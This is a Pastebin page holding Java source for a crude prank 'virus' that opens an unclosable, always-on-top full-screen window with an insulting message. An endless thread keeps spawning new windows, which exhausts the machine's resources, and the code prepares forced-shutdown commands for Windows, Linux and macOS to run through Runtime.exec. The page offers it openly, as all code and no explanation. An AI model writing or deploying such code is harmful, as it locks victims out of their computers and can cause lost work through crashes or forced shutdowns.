Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package urmomgayvirus;
- import java.awt.*;
- import javax.swing.*;
- @SuppressWarnings("serial")
- public class Main extends JFrame
- {
- private static transient long startupTime = System.currentTimeMillis();
- private static transient String shutdownCmd = null;
- public static void main(String[] args)
- {
- System.out.println("*** SAFETY PERIOD HAS BEGUN ***");
- try
- {
- Thread.sleep(1000);
- }
- catch (Exception e) {}
- finally
- {
- System.out.println("*** SAFETY PERIOD OVER ***");
- }
- String os_name = System.getProperty("os.name");
- if (os_name.toLowerCase().contains("windows"))
- {
- shutdownCmd = "shutdown.exe -s -t 0";
- }
- else if (os_name.toLowerCase().contains("linux") | os_name.toLowerCase().contains("mac"))
- {
- shutdownCmd = "shutdown -h now";
- }
- new Main();
- }
- private Main()
- {
- setTitle("urmomgay");
- setSize(Toolkit.getDefaultToolkit().getScreenSize());
- setLocation(0, 0);
- setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
- setUndecorated(true);
- setFocusable(true);
- setAlwaysOnTop(true);
- JPanel panel = new JPanel();
- panel.setBackground(Color.black);
- panel.setLayout(new GridBagLayout());
- JLabel label = new JLabel("ur mom gay");
- Font font = new Font("Arial", 0, 48);
- label.setForeground(Color.white);
- label.setFont(font);
- panel.add(label);
- add(panel);
- setContentPane(panel);
- setVisible(true);
- Thread t = new Thread(new Spammer());
- t.start();
- if (System.currentTimeMillis() - startupTime > 59999)
- {
- crossPlatformShutdown();
- }
- }
- private void crossPlatformShutdown()
- {
- if (shutdownCmd != null)
- {
- try
- {
- Runtime.getRuntime().exec(shutdownCmd);
- }
- catch (Exception e) {}
- }
- }
- private static class Spammer implements Runnable
- {
- @Override
- public void run()
- {
- while (true)
- {
- new Main().requestFocus();
- System.out.println("ur mom gay");
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement